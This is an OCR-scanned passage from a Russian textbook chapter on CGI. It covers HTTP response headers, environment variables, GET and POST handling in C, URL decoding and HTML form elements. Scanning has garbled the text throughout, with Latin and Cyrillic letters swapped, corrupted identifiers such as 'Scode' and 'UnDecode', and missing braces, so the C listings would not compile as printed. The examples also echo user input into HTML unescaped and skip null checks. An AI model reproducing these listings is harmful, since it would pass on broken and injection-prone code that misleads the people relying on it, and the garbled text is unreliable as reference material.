кетами, — это тема для отдельной книги , да и, пожалуй, лишь косвенно
примыкает к Web-программированию). По возможности я не буду привязы-
ваться к специфике конкретной ОС, ведь для CGI существует стандарт, не-
зависимый от операционной системы , на которой будет выполняться сцена-
рий. Вооружившись материалом этой главы, можно написать самые разно-
образные сценарии — от простых до самых сложных (правда, для последних
потребуется также недюжинная сноровка).

И все-таки, моя цель — набросать общими мазками, как неудобно (повто-
рюсь — именно неудобно!) программировать сценарии на языках, обычных
для прикладного программиста (в том числе на Си и Си++). Как только вы
проникнетесь этой идеей, мы плавно и не торопясь двинемся в мир РНР,
где предусмотрены практически все удобства, так необходимые серьезному
языку программирования сценариев.

----------------------- Page 58-----------------------
Глава 3. CGI изнутри 43

Если вы не знакомы с языком Си, не отчаивайтесь. Все примеры хорошо
комментированы, а сложные участки не нуждаются в непременном понима-
нии "с первого прочтения". Еще раз оговорюсь, что материал этой и сле-
дующей глав предназначен для того, чтобы вы получили приблизительное
представление о том, как же устроен протокол HTTP и как программы
взаимодействуют с его помощью. Думаю , что без этих знаний невозможна
никакая профессиональная работа на поприще Web-программирования . Так
что не особенно расстраивайтесь, если вы совсем не знаете Си — ведь эта
глава содержит гораздо больше, нежели просто описание набора Си-
функций. В ней представлен материал, являющийся связующим звеном ме-
жду CGI и HTML, детально описываются тэги форм и их наиболее полез-
ные атрибуты, приемы создания запросов и многое другое. Все это, безус-
ловно , понадобится нам и при программировании на РНР.

В то же время, изучая приведенные в этой главе примеры , вы можете и не
проверять их на практике (особенно если у вас еще нет работающего Web-
сервера), т. к. они (как это ни парадоксально звучит) предназначены лишь
для теоретических целей. Сам не знаю, как это получилось , но, в конце
концов, мне это нравится. Вам, надеюсь, понравится тоже

Передача документа
пользователю

Вначале рассмотрим более простой вопрос: как программа посылает свой
ответ (то есть документ) пользователю.

А сделано это просто и логично (а главное, универсально и переносимо ме-
жду операционными системами): сценарий просто помещает документ в
стандартный поток вывода (на Си он называется stdout) , который находит-
ся под контролем программного обеспечения сервера. Иным и словами ,
программа работает так, как будто нет никакого пользователя, а нужно вы-
вести текст прямо на "экран". (Это она так думает, на самом деле выводимая
информация будет перенаправлена сервером в браузер пользователя. Ясно,
что у сценария никакого "экрана" нет и быть не может.)

Ответ программы, как и запрос пользователя, должен состоять из заголов-
ков. Иными словами, мы не можем просто направить документ в стандарт-
ный поток вывода: нам сначала нужно по крайней мере указать, в каком
формате информация должна быть передана пользователю. Действительно,
представьте, что произойдет, если браузер попытается отобразить GIF-
рисунок в текстовом виде? В худшем случае вашим пользователям придется
всю жизнь лечиться от заикания — особенно если до этого их просили вве-
сти номер кредитной карточки.

----------------------- Page 59-----------------------
44 Часть I. Основы Web-программирования

Заголовки ответа

Заголовки ответа должны следовать точно в таком же формате, как и заго-
ловки запроса, рассмотренные нами в предыдущей главе. А именно, это на-
бор строк (завершающийся пустой строкой), каждая из которых представля-
ет собой имя заголовка и его значение, разделенные двоеточием. Наличие
пустого заголовка в конце также можно интерпретировать как два стоящих
подряд обозначения \п\п . Затем, как обычно, могут следовать данные отве-
та, которые и являются документом, который будет отображен браузером.

Заголовок кода ответа

Однако здесь все же имеется одно отличие от формата, который использует-
ся в заголовках запроса. Дело в том, что первый заголовок ответа обязан
иметь слегка специфичный вид — в нем не должно быть двоеточия. Он за-
дает так называемый код ответа сервера и выглядит, например, так:

НТТР/1. 1 ОК

или так:

НТТР/1. 1 404 File Not Found

В первом примере заголовок говорит браузеру, что все в порядке и дальше
следует некоторый документ. Во втором примере сообщается, что затребо-
ванный файл не был найден на сервере. Конечно, существует еще множест-
во других кодов ошибок, но для нас они не представляют особого интереса,
и вот почему.

Чаще всего (за исключением редких случаев) браузеры не обращают особого
внимания на заголовок кода ответа, а просто выводят следующий за ним
документ. Кроме того, такой заголовок формируется сервером, а в сценарии
мы никак не можем его изменить (правда, есть специальный заголовок
status, но мы не будем здесь о нем говорить). Поэтому я и не рассматри-
ваю подробно этот вопрос в данной книге.

Вот другие наиболее распространенные заголовки ответа.

Content-type

О Формат: Content-type : т!те_тип; charset=koi8-r

Задает тип документа и его кодировку. Параметр charset задает кодировку
документа (в нашем примере это KOIS-R) . Поле mime_™n определяет тип
информации, которую содержит документ:

П text /html — HTML-документ;

D text/plain — простой текстовый файл;

О image/gif — GIF-изображение;

----------------------- Page 60-----------------------
Глава 3. CGI изнутри 45

П image/jpeg — JPG-изображение ;

П еще несколько десятков других типов .

Pragma

Формат: Pragma: no-cache

Запрещает кэширование документа браузером, так что при повторном визи-
те на страницу браузер гарантированно загрузит ее снова, а не извлечет из
своего кэша. Это может быть полезно, если страница содержит, например,
динамический счетчик посещений.

Заголовок Pragma используется также и для других целей (и соответственно,
после двоеточия находятся другие значения строки), но мы не будем их
здесь рассматривать.

Location

Формат: Location : http://www.otherhost.com/somepage.html

Этот заголовок особенный и определяет, что браузер пользователя должен
немедленно перейти по указанному адресу, не дожидаясь тела документа
ответа (как будто бы пользователь сам набрал в адресной строке нужный
URL). Так что, очевидно, если вы собираетесь использовать заголовок
Location, то никакого документа выводить не надо.

Замечание

Рекомендуется всегда указывать в заголовке Location абсолютный путь вме-
сте с именем хоста, а не относительный. Дело в том, что, как показывает прак-
тика, не все браузеры правильно реагируют на относительные пути и вытворя-
ют все, что им заблагорассудится.

Внимание

В браузере Netscape имеется ошибка, проявляющаяся, когда сценарий выво-
дит заголовок Location с указанием перейти на собственный URL (то есть,
сам на себя, для этого даже придуман специальный термин — self-redirect). Та-
кое решение не так бесполезно, как кажется, и используется, например, в гос-
тевых книгах. В этом случае Netscape прекрасно принимает ответ сценария, но
затем почему-то сообщает о том, что "документ не содержит данных". Как ре-
шить указанную проблему, с/и. е части V книги.

Set-cookie

Формат: Set-cookie : параметры_соо)<1е

Устанавливает Cookie в браузер пользователя. Позже в этой главе мы рас-
смотрим подробнее, что такое Cookies и как с ними работать.

----------------------- Page 61-----------------------
46 Часть I. Основы Web-программирования

Date

Формат: Date : Sat , 08 Jan 200 0 11:56:2 6 GMT

Указывает браузеру дату отправки документа.

Server

Формат: Server : Apache/1.3. 9 (Unix ) P H P / 3 . 0 . 1 2

Устанавливается сервером и указывает браузеру тип сервера и другую ин-
формацию о серверном программном обеспечении.

Пример CGI-сценария

Настало время привести небольшой сценарий на Си, который иллюстрирует
некоторые возможности, которые были описаны выше (листинг 3.1).

! Листинг 3.1. Простейший сценарий script.с
!... — J

#include <time.h> // Нужна для инициализации функции rand( )

#include <stdio.h> // Включаем поддержку функций ввода/вывода

#include <stdlib.h> // А это — для поддержки функции rand( )

// Главная функция . Именно она и запускается при старте сценария ,

void main(void) {

// инициализируем генератор случайных чисел

int Num ; time_t t; srand(time(St)) ;

// в Num записывается случайное число от 0 до 9

Num = rand()%10 ;

// далее выводим заголовки ответа . Тип — html-документ

printf("Content-type : text/html\n");

// запрет кэширования

printf("Pragma : no-cache\n") ;

// пустой заголовок

printf("\n");

// выводим текст документа — его мы увидим в браузере

printf ("<htmlxbody>") ;

printf ("<Ы>Здравствуйте!</Ы>") ;

printf("Случайное число в диапазоне 0-9 : %d",Num);

printf ("</bodyx/html>") ;

----------------------- Page 62-----------------------
Глава 3. CGI изнутри 47

Исходный текст можно откомпилировать и поместить в каталог с CGI-
сценариями на сервере. Обычно стараются все сценарии хранить в одном
месте — в каталоге cgi-bin , у которого имеется разрешение на выполнение
всех файлов внутри него. Правда, это правило не является обязательным -
конечно же, можно разместить файлы сценария где душе угодно (не забыв
проставить соответствующие права на каталог в настройках сервера). На мой
взгляд, логично хранить файлы сценариев там, где это наиболее вам удобно,
а не пользоваться общепринятыми штампами . Теперь наберем в адресной
строке браузера:

http://www.myhost.com/cgi-bin/script.cgi

Мы получим нашу HTML-страницу. Заметьте, что при нажатии Reload
(а также при повторном посещении страницы) браузер перезагрузит страни-
цу целиком , а не возьмет ее копию из своего кэша (это можно видеть по
постоянно изменяющемуся случайному числу или по лампочкам модема).
Мы добились такого результата благодаря заголовку

Pragma: no-cache

Давайте теперь посмотрим, что нужно изменить в нашем сценарии , чтобы
его вывод представлял из себя с точки зрения браузера не HTML-документ,
а рисунок . Пусть нам нужен сценарий , который бы передавал пользователю
какой-то GIF-рисунок (например, выбираемый случайным образом из не-
которого списка). Делается это абсолютно аналогично : выводим заголовок

Content-type : image/git

Затем копируем один-в-один нужный нам GIF-файл в стандартный поток
вывода (лучше всего — функцией fwrite , т. к. иначе могут возникнуть про-
блемы с "бинарностью" GIF-рисунка). Теперь можно использовать этот
сценарий даже в таком контексте:

... какой-то текст страницы .. .

<img src=http://www.myhost.com/cgi-bin/script.cgi>

... продолжение страницы .. .

В результате таких действий в нашу страницу будет подставляться каждый
раз случайное изображение , генерируемое сценарием . Разумеется, чтобы
избежать неприятностей с кэшированием , которое особенно интенсивно
применяется браузерами по отношению к картинкам , мы должны его запре-
тить выводом соответствующего заголовка. Именно так устроены графиче-
ские счетчики, столь распространенные в Интернете.

Еще раз обращаю ваше внимание на такой момент: CGI-сценарии могут ис-
пользоваться не только для вывода HTML-информации, но и для любого дру-
гого ее типа — начиная с графики и заканчивая звуковыми MIDI-файлами. Тип
документа задается в единственном месте — заголовке content-type . He забы-

----------------------- Page 63-----------------------
48 Часть I. Основы Web-программирования

вайте добавлять этот заголовок, в противном случае пользователю будет ото-
бражена стандартная страница сервера с сообщением о 500-й ошибке (для
сервера Apache), из которой он вряд ли что поймет.

Передача информации
CGI-сценарию

Проблема приема параметров, заданных пользователем (с точки зрения сце-
нария — все равно, через форму или вручную), несколько сложнее. Мы уже
частично затрагивали ее и знаем, что основная информация приходит через
заголовки, а также (при использовании метода POST) после всех заголовков.
Рассмотрим эти вопросы подробнее.

Переменные окружения

Непосредственно перед запуском сценария сервер передает ему некие пере-
менные окружения с информацией. В определенных переменных содержатся
некоторые заголовки, но, как уже говорилось, не все (получить все заголовки
нельзя). Вот список наиболее важных переменных окружения (большинство
из них мы уже рассматривали, но сейчас будет полезно повториться и систе-
матизировать весь наш список именно с точки зрения программиста):

НТТР_АССЕРТ

В этой переменной перечислены все (во всяком случае, так говорится в до-
кументации) МШЕ-типы данных , которые могут быть восприняты браузе-
ром. Как мы уже замечали, современные браузеры частенько ленятся и пе-
редают строку */* , что означает, что они якобы понимают любой тип .

HTTP_REFERER

Задает имя документа, в котором находится форма, запустившая CGI-
сценарий. Эту переменную окружения можно задействовать, например , для
того, чтобы отслеживать перемещение пользователя по вашему сайту (а по-
том, например, где-нибудь распечатывать статистику самых популярных
маршрутов).

HTTP_USER_AGENT

Идентифицирует браузер пользователя. Если в данной переменной окруже-
ния присутствует подстрока MSIE , то это — Internet Explorer, в противном
случае, если в наличии лишь слово Moziiia , — Netscape.

----------------------- Page 64-----------------------
Глава 3. CGI изнутри 49

HTTP_HOST

Доменное имя Web-сервера, на котором запустился сценарий. Точнее то,
что было передано в заголовке Host протокола HTTP 1.1. Эту переменную
окружения довольно удобно использовать, например, для генерации пол-
ного пути, который требуется в заголовке Location , чтобы не привязываться
к конкретному серверу (вообще говоря, чем меньше сценарий задействует
"зашитую" в него информацию об имени сервера, на котором он запущен,
тем лучше — в идеале ее не должно быть вовсе).

SERVER_PORT

Порт сервера (обычно 80), к которому обратился браузер пользователя. Так-
же может привлекаться для генерации параметра заголовка Location .

REMOTE_ADDR

Эта переменная окружения задает IP-адрес (или доменное имя) узла пользо-
вателя, на котором был запущен браузер.

REMOTE_PORT

Порт, который закрепляется за браузером пользователя для получения отве-
та сервера.

SCRIPT_NAME

Виртуальное имя выполняющегося сценария (то есть часть URL после имени
сервера, но до символа ?). Эту переменную окружения, опять же, очень удобно
брать на вооружение при формировании заголовка Location при переадресации
на себя (self-redirect), а также при проставлении значения атрибута action тэга
<form> на странице, которую выдает сценарий при запуске без параметров (для
того чтобы не привязываться к конкретному имени сценария).

REQUEST_METHOD
Метод, который применяет пользователь при передаче данных (мы рассмат-
риваем только GET и POST , хотя существуют и другие методы). Надо заме-
тить, что грамотно составленный сценарий должен сам определять на осно-
ве этой переменной, какой метод задействует пользователь, и принимать
данные из соответствующего источника, а не рассчитывать, что передача
будет осуществляться, например, только методом POST. Впрочем, все РНР-
сценарии так и устроены.

QUERY_STRING
Параметры, которые в URL указаны после вопросительного знака. Напом-
ню, что они доступны как при методе GET , так и при методе POST (если в
последнем случае они были определены в атрибуте action тэга <form>) .

----------------------- Page 65-----------------------
50 Часть I. Основы Web-программирования

CONTENT_LENGTH
Количество байтов данных, присланных пользователем. Эту переменную
необходимо анализировать, если вы занимаетесь приемом и обработкой
POST-формы.

Передача параметров методом GET

Тут все просто. Все параметры передаются единой строкой (а именно , точно
такой же, какая была задана в URL после ?) в переменной QUERY_STRING .
Единственная проблема — то, что все данные поступят URL-кодирован-
ными. Так что нам понадобится функция декодирования. Но это отдельная
тема, пока мы не будем ее касаться.
Для того чтобы узнать значения полученных переменных в Си, нужно вос-
пользоваться функцией getenvo . Вот пример сценария на Си, который это
обеспечивает.

: Листинг 3.2. Работа с переменными окружения

#include <stdio.h> // Включаем функции ввода/вывода
ftinclude <stdlib.h> // Включаем функцию getenvO

void main (void) {

// получаем значение переменной окружения REMOTE_ADDR

char *RemoteAddr = getenv("REMOTE_ADDR" ) ;

// .. . и еще QUERY_STRING

char *QueryString = getenv("QUERY_STRING" ) ;

// печатаем заголовок

printf ("Content-type : text/html\n\n") ;

// печатаем документ

printf ( "<htmlxbody> " ) ;

printf ("<Ь1>Здравствуйте . Мы знаем о вас все!</Ы>");

printf ("Ваш IP-адрес : %s<br>",RemoteAddr ) ;

printf ("Вот параметры , которые Вы указали : %s",QueryString ) ;

printf ("</body></html>") ;

Откомпилируем сценарий и поместим его в CGI-каталог. Теперь в адресной
строке введем:

http: //www.myhost.com/cgi-bin/script . cgi?a=l&b=2

----------------------- Page 66-----------------------
Глава 3. CGI изнутри 51

Мы получим примерно такой документ:

Здравствуйте . Мы знаем о Вас все !

Ваш IP-адрес: 192.168Л.2 3

Вот параметры , которые Вы указали : а=1&Ь=2

Передача параметров методом POST

В отличие от метода GET , здесь параметры передаются сценарию не через
переменные окружения, а через стандартный поток ввода (в Си он называ-
ется stdin) . To есть программа должна работать так, будто никакого сервера
не существует, а она читает данные, которые вводит пользователь с клавиа-
туры. (Конечно, на самом деле никакой клавиатуры нет и быть не может, а
заправляет всем сервер, который "изображает из себя" клавиатуру.)

Внимание

Следует заметить очень важную деталь: то, что был использован метод POST ,
вовсе не означает, что не был применен также и метод GET . Иными словами,
метод POST подразумевает также возможность передачи данных через URL-
строку. Эти данные будут, как обычно, помещены в переменную окружения
QUERY__STRING.

Но как же узнать, сколько именно данных переслал пользователь методом
POST? До каких пор нам читать входной поток? Для этого служит перемен-
ная окружения CONTENT_LENGTH , в которой хранится строка с десятичным
представлением числа переданных байтов данных (разумеется, перед ис-
пользованием ее надо перевести в обычное число).

Модифицируем предыдущий пример так, чтобы он принимал POST-данные,
а также выводил и GET-информацию, если она задана:

| Листинг 3.3. Получение данных POST

#include <stdio.h>

linclude <stdlib.h >

void main(void) {

// извлекаем значения переменных окружения

char *RemoteAddr = getenv("REMOTE_ADDR") ;

char *ContentLength = getenv("CONTENT_LENGTH") ;

char *QueryString = getenv("QUERY_STRING") ;

// вычисляем длину данных — переводим строку в число

int NumBytes = atoi(ContentLength) ;

// выделяем в свободной памяти буфер нужного размера

char *Data = (char *)malloc(NumBytes + 1);

3 Зак . 699

----------------------- Page 67-----------------------
52 Часть I. Основы Web-программирования

I / читаем данные из стандартного потока ввода

fread(Data, I, NumBytes , stdin ) ;

// добавляем нулевой код в конец строки

// (в Си нулевой код сигнализирует о конце строки )

Data [NumBytes] = 0 ;

// выводим заголовок

printf ( "Content-type : text/html\n\n " ) ;

// выводим документ

printf ("<htmlxbody>") ;

printf ( "<Ы>Здравствуйте . Мы знаем о вас все ! </Ы>") ;

printf ("Ваш IP-адрес : %s<br>",RemoteAddr ) ;

printf ("Количество байтов данных : %d<br >", NumBytes );

printf ("Вот параметры , которые Вы указали : %s<br>" , Data ) ;

printf ("А вот то , что мы получили через URL : %s",

QueryString) ;

printf ("</body></html>") ;

Странслируем этот сценарий и запишем то, что получилось, под именем
script . cgi в каталог, видимый извне как /cgi-bin/ . Откроем в браузере
следующий HTML-файл с формой:

| Листинг 3.4. POST-форма

<htmlxbody>

vfor m dction=/cgi-bin/script . cgi?param=value method=post>

Namel: <input type=text name="namel"xbr>

Name2 : <input type=text name="name2"Xbr>

<input type=submit value="3anycTOTb сценарий !" >

</form>

</bodyX/ntml>

Теперь, если набрать в полях ввода какой-нибудь текст и нажать кнопку ,
получим HTML-страницу, сгенерированную сценарием, например , следую-
щего содержания:

Здравствуйте. Мы знаем о вас все!
Ваш IP-адрес: 136.234.54. 2

Количество байтов данных : 23

Вот параметры , которые Вы указали : namel=Vasya&name2=Petya

А вот то , что мы получили через URL : param=value

----------------------- Page 68-----------------------
Глава 3. CGI изнутри 53

Как можно заметить, обработка метода POST устроена сложнее, чем GET . Тем
не менее, метод POST используется чаще, особенно если нужно передавать
большие объемы данных или "закачивать" файл на сервер (эта возможность
также поддерживается протоколом HTTP и HTML).

Расшифровка URL-кодированных данных

Если бы в предыдущем примере мы ввели параметры, содержащие, напри-
мер, буквы кириллицы, то сценарию они бы поступили не в "нормальном"
виде, а в URL-закодированном. Пожалуй, ни один сценарий не обходится
без функции расшифровки URL-кодированных данных. И это совсем не
удивительно. Радует только то, что такую функцию нужно написать один
раз, а дальше можно пользоваться ей по мере необходимости.
Как уже упоминалось, кодирование заключается в том, что некоторые неал-
фавитно-цифровые символы (в том числе и "русские" буквы, которые тоже
считаются неалфавитными) преобразуются в форму %хх, где хх — код сим-
вола в шестнадцатеричной системе счисления. Далее представлена функция
на Си, которая умеет декодировать подобные данные и приводить их к нор-
мальному представлению.

Замечание

Мы не можем сначала все данные (например, полученные из стандартного по-
тока ввода) декодировать, а уж потом работать с ними (в частности, разбивать
по месту вхождения символов & и =). Действительно, вдруг после перекодиров-
ки появятся символы & и =, которые могут быть введены пользователем? Как
мы тогда узнаем, разделяют ли они параметры или просто набраны с клавиа-
туры? Очевидно, никак. Поэтому такой способ нам не подходит, и придется ра-
ботать с каждым значением отдельно, уже после разделения строки на части.

Итак, приходим к следующему алгоритму: сначала разбиваем строку пара-
метров на блоки (параметр=значение), затем из каждого блока выделяем
имя параметра и его значение (обособленные символом =), а уж потом для
них вызываем функцию перекодировки, приведенную ниже:

| Листинг 3.5. Функция URL-декодирования

// Функция преобразует строку данных st в нормальное представление .
// Результат помещается в ту же строку , что была передана в параметрах .
void UrlDecode (char *st) {
char *p=st; // указывает на текущий символ строки
char hex[3]; // временный буфер для хранения %ХХ
int code; // преобразованный код
// запускаем цикл , пока не кончится строка (то есть , пока не

----------------------- Page 69-----------------------
54 Часть I. Основы Web-программирования

// появится символ с кодом 0, см. ниже)
do {

// Если это %~код .. .

if(*st == ' % ' ) { // тогда копируем его во временный буфер
h e x [ 0 ] = * ( + + s t ) ; hex[1]=*(++st) ; hex[2]=0 ;

// переводим его в число

sscanf(hex,"%X",Scode);

// и записываем обратно в строку

*p++=(char)code;

// указатель р всегда отмечает то место в строке , в которое

// будет помещен очередной декодированный символ

// иначе , если это "+", то заменяем его на " "

else if(*st= ' + ') *p++= ' ';

// а если не то , ни другое — оставляем как есть

else *p++=*st ;

} while(*st++!=0) ; // пока не найдем нулевой код

Функция основана на том свойстве, что длина декодированных данных
всегда меньше , чем кодированных , а значит , всегда можно поместить ре-
зультат в ту же строку, не опасаясь ее переполнения . Конечно , применен -
ный алгоритм далеко не оптимален, т. к. использует довольно медлительную
функцию sscanf () для перекодирования каждого символа. Тем не менее,
это самое простое, что можно придумать, вот почему я так и сделал.

Итак, теперь мы можем слегка модифицировать предыдущий пример сцена-
рия, заставив его перед выводом данных декодировать их. Попробуем напи -
сать это так:

| Листинг 3.6. Получение POST-данных с URL-декодированием

#include <stdio.h>

#include <stdlib.h>

void main(void ) {

// получаем значения переменных окружения

char *RemoteAddr = getenv("REMOTE__ADDR") ;

char *ContentLength = getenv("CONTENT_LENGTH");

// выделяем память для буфера QUERY_STRING

char *QueryString = malloc (strlen (getenv ("QUERY STRING")) -I- 1) ;

----------------------- Page 70-----------------------
Глава 3. CGI изнутри _ 55

// копируем QUERY_STRING в созданный буфер

strcpy (QueryString , getenv ( "QUERY_STRING" ) ) ;

// декодируем QUERY_STRING

UrlDecode (QueryString ) ;

// вычисляем количество байтов данных — переводим строку в число

int NumBytes = atoi (ContentLength ) ;

// вьщеляем в свободной памяти буфер нужного размера

char *Data = (char* )malloc (NumBytes + 1 ) ;

// читаем данные из стандартного потока ввода

fread(Data, I, NumBytes , stdin ) ;

// добавляем нулевой код в конец строки

// (в Си нулевой код сигнализирует о конце строки )

Data [NumBytes j = С ;

// декодируем данные (хоть это и не совсем осмысленно , но выполняем

// сразу для всех POST-данных , не разбивая их на параметры )

UnDecode (Data) ;

// выводим заголовок

printf ("Content-type: text/html \n\n") ;

// выводим документ

printf ("<htmlxbody>") ;

printf ("<Ы>Здравствуйте . Мы знаем о Вас все ! </hl>" ) ;

printf ("Ваш IP-адрес : %s<br>",RemoteAddr) ;

printf ( "Количество байтов данных : %d<br>" , NumBytes) ;

printf ("Вот параметры , которые Вы указали : %s<br>" , Data ) ;

printf ("А вот то , что мы получили через URL : %s" ,

QueryString) ;

printf ("</body></html>") ;

Обратите внимание на строки, выделенные жирным шрифтом. Теперь мы
используем промежуточный буфер для хранения QUERY_STRING . Зачем? По-
пробуем поставить все на место, т. е. не задействовать промежуточный бу-
фер, а работать с переменной окружения напрямую , как это было в лис-
тинге 3.5. Тогда в одних операционных системах этот код будет работать
прекрасно, а в других — генерировать ошибку общей защиты, что приведет
к немедленному завершению работы сценария. В чем же дело? Очень про-
сто: переменная QueryString ссылается на значение переменной окружения
QUERY_STRING, которая расположена в системной области памяти, а значит,
доступна только для чтения. В то же время функция urlDecode о , как я уже

----------------------- Page 71-----------------------
56 Часть I. Основы Web-программирования

замечал, помешает результат своей работы в ту же область памяти, где нахо-
дится ее параметр, что и вызывает ошибку.

Чтобы избавиться от указанного недостатка, мы и копируем значение пере-
менной окружения QUERY_STRIN G в область памяти, доступной сценарию для
записи — например, в какой-нибудь буфер, а потом уже преобразовываем
его. Что и было сделано в последнем сценарии.

Несколько однообразно и запутанно, не так ли ? Да, пожалуй. Но, как гово-
рится, "это даже хорошо, что пока нам плохо" — тем больше будет причин
предпочитать РНР другим языкам программирования (так как в РНР эти
проблемы изжиты как класс).

Формы

До сих пор из всех полей формы мы рассматривали только текстовые поля и
кнопки отправки (типа submit) . Давайте теперь поглядим, в каком виде
приходят данные и от других элементов формы (а их существует довольно
много).

Все элементы формы по именам соответствующих им тэгов делятся на 3 ка-
тегории:

О < i n p u t . . . >

П < t e x t a r e a . . . > . . . < / t e x t a r e a >

О <select . . .xoption . . .> . . .</option> . . .</select >

Каждый из этих тэгов, конечно, может иметь имя. Ранее уже упоминалось,
что пары имя=значение перед тем, как отправятся сценарию, будут разделе-
ны в строке параметров символом & . Кроме того, следует учитывать, что для
тех компонентов формы, у тэгов которых не задан параметр name, соответст-
вующая строка имя=значение передана не будет. Это ограничение введено
для того, чтобы можно было в форме определять служебные элементы, ко-
торые не будут посылаться сценарию. Например, в их число входят кнопки
(подтверждения отправки или обычные , используемые при программирова-
нии на JavaScript) и т. д. Так, создадим форму:

<form action=script.cgi>

... какие-то поля .. .

<input type=submit value="Go!">

</form>

Несмотря на то, что кнопка Go! формально является полем ввода, ее данные
не будут переданы сценарию, поскольку у нее отсутствует параметр name.

Чаще все же бывает удобно давать имена таким кнопкам. Например, для
того, чтобы определить, каким образом был запущен сценарий — путем на-

----------------------- Page 72-----------------------
Глава 3. CGI изнутри _ 57

жатия на кнопку или как-то еще (например, просто набором его URL в
браузере). Создадим следующую форму:

<form action=script . cgi>

<input type=submit name= " submit " value="Go!">

</form>

После запуска такой формы и нажатия в ней кнопки Go! сценарию среди
прочих параметров будет передана строка submit=Go ! . Вернувшись к приме-
ру из предыдущей главы, мы теперь легко сможем определить, был ли сце-
нарий выполнен из формы или же простым указанием его URL (для этого
достаточно проанализировать командную строку сценария и определить,
присутствует ли в ней атрибут submit) .

В принципе, все тэги, за исключением <seiect> , с точки зрения сценария
выглядят одинаково — как один они генерируют строки вида имя=значение,
где имя — то, что задано в атрибуте name, а значение — либо текст, введенный
пользователем, либо содержимое атрибута value (например, так происходит у
независимых и зависимых переключателей, которые мы вскоре рассмотрим).

Тэг <input> — различные поля ввода

Существует много разновидностей этого тэга, отличающихся параметром
type. Перечислю наиболее употребительные из них. В квадратных скобках я
буду указывать необязательные параметры, а также параметры, отсутствие
которых иногда имеет смысл (будем считать, что параметр name является
обязательным, хотя это и не так в силу вышеизложенных рассуждений). Ни
в коем случае не набирайте эти квадратные скобки!

Для удобства я расположу каждый параметр тэга на отдельной строке.
И хотя стандарт HTML это не запрещает, настоятельно рекомендую вам ста-
раться в своих формах избегать такого синтаксиса. Не разбивайте тэги форм
на несколько строк, это значительно снижает читабельность кода страницы.

Текстовое поле (text)

<input type=text
пате=имя
[ уа!ие=значение ]
[з!ге=размер]
[тах!еп=число]

Создает поле ввода текста размером примерно в siz e знакомест и макси-
мально допустимой длиной maxlen символов (то есть пользователь сможет
ввести в нем не больше этого количества символов) .

----------------------- Page 73-----------------------
58 Часть I. Основы Web-программирования

Внимание

Не советую, тем не менее, в программе на Си полагаться, что придет не боль-
ше maxlen символов и выделять для их получения буфер фиксированного
размера. Дело в том, что злоумышленник вполне может запустить ваш сцена-
рий в обход стандартной формы (содержащей "правильный" тэг <input>) и за-
дать большой объем данных , чтобы этот буфер переполнить — известный при-
ем взлома недобросовестно написанных программ.

Если задано значение атрибута value , то в текстовом поле будет изначально
отображена указанная строка.

Поле ввода пароля (password)

<input type=password
пате=имя

[value=3Ha4eHMe]
[з!ге=размер]

[тах!еп=число]
>

Полностью аналогичен тэгу <input type=text> , за исключением того, что
символы, набираемые пользователем, не будут отображаться на экране. Это
удобно, если нужно запросить какой-то пароль. Кстати, если в качестве
маски задается значение параметра value , все будет в порядке, однако, по-
смотрев исходный HTML-текст страницы в браузере, можно увидеть, что он
(браузер) это значение не показывает (непосредственно на странице). Сде-
лано это, видимо, из соображений безопасности, хотя, конечно же, зло-
умышленник легко преодолеет такую защиту , если вы попытаетесь скрыть с
ее помощью что-то важное.

Скрытое текстовое поле (hidden)

<input type=hidden

пате=имя

va1ие=значение
>

Создает неотображаемое (скрытое) поле. Такой объект нужен исключитель-
но для того, чтобы передать сценарию какую-то служебную информацию,
до которой пользователю нет дела, — например, параметры настройки.
Пусть, например , у нас имеется многоцелевой CGI-сценарий, который уме-
ет принимать данные пользователя и отправлять их как почтовое сообще-
ние. Поскольку мы бы не хотели фиксировать E-mail получателя жестко, но
в то же время и не стремимся, чтобы пользователь мог его менять перед от-
правкой формы, оформим соответствующий тэг в виде скрытого поля:

<form action=/cgi/sendmail.cgi method=post>

----------------------- Page 74-----------------------
Глава 3. CGI изнутри 59

<input type=hidden nanv;=email value="admin@microsoft . com. ">

<Ь2>Пошлите сообщение администратору : </h2>

<input type=text name="text">

<input type=submit name=doSend уа!ие="0тослать">

</form>

Я подразумеваю, что сценарий анализирует свои входные параметры и по-
сылает текст из параметра text по адресу email. А вот еще один пример ис-
пользования этого сценария, но уже без скрытого поля. Сравните:

<forra action=/cgi/sendmail . cgi method=post>

<Ь.2>Пошлите сообщение другу :</h2>

Его E-mail: <input type=text name=emailxbr>

Текст: <input type=text name="text"xbr>

<input type=submit name=doSend value="Oroc7iaTb">

</form>

Итак, мы задействовали один и тот же сценарий для нескольких разных це-
лей. Еще раз напоминаю, что для сценария безразлично, получает он дан-
ные из обычного текстового или же из скрытого поля — в любом случае
данные выглядят одинаково.
Часто скрытое поле используют для индикации того, что сценарий запущен
в результате нажатия кнопки в форме, а не простым набором его URL в
строке адреса браузера. Тем не менее, это, как уже говорилось, довольно
плохой способ — лучше применять именованные кнопки submit.

( Замечание _ j

В некоторых случаях именованные кнопки submit не помогают, и приходится
пользоваться скрытым полем для индикации запуска сценария из формы. Про-
исходит это в случае, если форма очень проста и состоит, например, всего из
двух элементов — поля ввода текста и кнопки submit (пусть даже и именован-
ной). Практически все браузеры в такой ситуации позволяют пользователю
просто нажать <Enter> для отправки формы, а не возиться с нажатием на
submit-кнопку. При этом разумеется, данные кнопки не посылаются на сервер.
Вот тогда-то нас и выручит hidden-поле, например, с именем submit: если его
значение установлено, то сценарий понимает, что пользователь ввел какие-то
данные, в противном случае сценарий был запущен впервые путем набора его
URL или перехода по гиперссылке.

Независимый переключатель (checkbox)

<input type=checkbox

пате=имя

[checked]

----------------------- Page 75-----------------------
60 Часть I. Основы Web-программирования

Этот тэг генерирует независимый переключатель (или флажок), который мо-
жет быть либо установлен, либо сброшен (квадратик с галочкой внутри или
пустой соответственно). Если пользователь установил этот элемент, прежде
чем нажать кнопку доставки, сценарию поступит строка имя=значение , в про-
тивном случае не придет ничего, будто нашего поля и не существует вовсе.
Если задан атрибут checked , то переключатель будет изначально установ-
ленным, иначе — изначально сброшенным.

Зависимый переключатель (radio)

<input type=radio
пагпе=имя

Включение в форму этого тэга вызывает появление на ней зависимого пере-
ключателя (или радиокнопки). Зависимый переключатель — это элемент
управления, который, подобно независимому переключателю, может нахо-
диться в одном из двух состояний. С тем отличием, что если флажки не свя-
заны друг с другом, то только одна радиокнопка из группы может быть вы-
брана в текущий момент. Конечно, чаше всего определяются несколько
групп радиокнопок, независимых друг от друга. Наша кнопка будет действо-
вать сообща с другими, имеющими то же значение атрибута name — иными
словами, то же имя . Отсюда вытекает, что, в отличие от всех других элемен-
тов формы, две радиокнопки довольно часто имеют одинаковые имена. Ес-
